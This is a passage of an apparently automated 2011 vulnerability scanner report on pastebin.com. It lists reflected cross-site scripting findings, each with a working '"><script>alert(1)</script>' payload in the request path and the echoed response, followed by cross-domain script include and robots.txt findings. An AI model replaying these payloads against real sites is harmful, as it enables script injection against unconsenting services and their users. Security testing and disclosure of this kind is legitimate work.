<meta property="og:url" content="http://pastebin.com/favicon.ico676f2\"><script>alert(1)</script>efc276f2042"/>
...[SNIP]...

1.15. http://pastebin.com/i/fixed.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /i/fixed.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca4bc"><script>alert(1)</script>204e866995b was submitted in the REST URL parameter 1. This input was echoed as ca4bc\"><script>alert(1)</script>204e866995b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ica4bc"><script>alert(1)</script>204e866995b/fixed.css?1 HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:54 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:15:54 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10380

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/ica4bc\"><script>alert(1)</script>204e866995b/fixed.css?1"/>
...[SNIP]...

1.16. http://pastebin.com/i/fixed.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /i/fixed.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc00f"><script>alert(1)</script>949c179fb9e was submitted in the REST URL parameter 2. This input was echoed as dc00f\"><script>alert(1)</script>949c179fb9e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/fixed.cssdc00f"><script>alert(1)</script>949c179fb9e?1 HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:57 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:15:57 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10400

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/i/fixed.cssdc00f\"><script>alert(1)</script>949c179fb9e?1"/>
...[SNIP]...

1.17. http://pastebin.com/i/style.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /i/style.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61dcc"><script>alert(1)</script>2f28eab817f was submitted in the REST URL parameter 1. This input was echoed as 61dcc\"><script>alert(1)</script>2f28eab817f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i61dcc"><script>alert(1)</script>2f28eab817f/style.css?11 HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:00 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:00 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/i61dcc\"><script>alert(1)</script>2f28eab817f/style.css?11"/>
...[SNIP]...

1.18. http://pastebin.com/i/style.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /i/style.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload babbd"><script>alert(1)</script>4d57c762f1a was submitted in the REST URL parameter 2. This input was echoed as babbd\"><script>alert(1)</script>4d57c762f1a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/style.cssbabbd"><script>alert(1)</script>4d57c762f1a?11 HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:03 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:16:03 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10410

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/i/style.cssbabbd\"><script>alert(1)</script>4d57c762f1a?11"/>
...[SNIP]...

1.19. http://pastebin.com/js/ZeroClipboard.swf [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /js/ZeroClipboard.swf

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 186f6"><script>alert(1)</script>fa10a8d8531 was submitted in the REST URL parameter 1. This input was echoed as 186f6\"><script>alert(1)</script>fa10a8d8531 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js186f6"><script>alert(1)</script>fa10a8d8531/ZeroClipboard.swf HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:47 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=3; expires=Tue, 06-Sep-2011 22:16:47 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10386

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/js186f6\"><script>alert(1)</script>fa10a8d8531/ZeroClipboard.swf"/>
...[SNIP]...

1.20. http://pastebin.com/js/ZeroClipboard.swf [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pastebin.com
Path:   /js/ZeroClipboard.swf

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7391"><script>alert(1)</script>d96e5bd090d was submitted in the REST URL parameter 2. This input was echoed as c7391\"><script>alert(1)</script>d96e5bd090d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/ZeroClipboard.swfc7391"><script>alert(1)</script>d96e5bd090d HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 404 Not Found
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:16:50 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=3; expires=Tue, 06-Sep-2011 22:16:50 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 10385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<meta property="og:url" content="http://pastebin.com/js/ZeroClipboard.swfc7391\"><script>alert(1)</script>d96e5bd090d"/>
...[SNIP]...

2. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


2.1. http://pastebin.com/VB5KDqxW  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://pastebin.com
Path:   /VB5KDqxW

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /VB5KDqxW HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:41 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Set-Cookie: cookie_key=2; expires=Tue, 06-Sep-2011 22:15:41 GMT; path=/; domain=.pastebin.com
Vary: Accept-Encoding
Content-Length: 15635

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="Con
...[SNIP]...
<link href="/i/style.css?11" rel="stylesheet" type="text/css" />
                       <script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://tags.expo9.exponential.com/tags/Pastebincom/ROS/tags.js"></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
<!-- End comScore Tag -->
       <script type="text/javascript" src="http://lolbin.net/stats.php"></script>
...[SNIP]...

2.2. http://pastebin.com/etc/ads/iframes/160x600.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/160x600.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /etc/ads/iframes/160x600.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 200 OK
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:45 GMT
Content-Type: text/html
Last-Modified: Sat, 02 Jul 2011 13:17:48 GMT
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 650


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

   <head>

       <meta http-eq
...[SNIP]...
</script>
           <script type="text/javascript" src="http://tags.expo9.exponential.com/tags/Pastebincom/ROS/tags.js"></script>
...[SNIP]...

2.3. http://pastebin.com/etc/ads/iframes/728x90.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/ads/iframes/728x90.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /etc/ads/iframes/728x90.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 200 OK
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:46 GMT
Content-Type: text/html
Last-Modified: Sat, 02 Jul 2011 13:17:34 GMT
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 658

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

   <head>

       <meta http-equi
...[SNIP]...
</script>
           <script type="text/javascript" src="http://tags.expo9.exponential.com/tags/Pastebincom/ROS/tags.js"></script>
...[SNIP]...

2.4. http://pastebin.com/etc/social/index.html  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://pastebin.com
Path:   /etc/social/index.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /etc/social/index.html HTTP/1.1
Host: pastebin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pastebin.com/VB5KDqxW
Cookie: cookie_key=1

Response

HTTP/1.1 200 OK
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:46 GMT
Content-Type: text/html
Last-Modified: Tue, 05 Jul 2011 14:20:11 GMT
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 920


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

   <head>

       <meta http-eq
...[SNIP]...
</title>
           <script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
<script src="http://connect.facebook.net/en_US/all.js#appId=117132918378830&amp;xfbml=1"></script>
...[SNIP]...

3. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://pastebin.com
Path:   /VB5KDqxW

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: pastebin.com

Response

HTTP/1.1 200 OK
Server: nginx/1.0.4
Date: Tue, 09 Aug 2011 22:15:42 GMT
Content-Type: text/plain
Content-Length: 178
Last-Modified: Thu, 30 Jun 2011 08:34:38 GMT
Connection: close
Vary: Accept-Encoding
Accept-Ranges: bytes

User-agent: *
Disallow: /download.php
Disallow: /report.php
Disallow: /raw.php
Disallow: /embed.php
Disallow: /embed_iframe.php
Disallow: /embed_js.php
Disallow: /diff.php

Report generated by XSS.CX at Tue Aug 09 17:06:30 GMT-06:00 2011.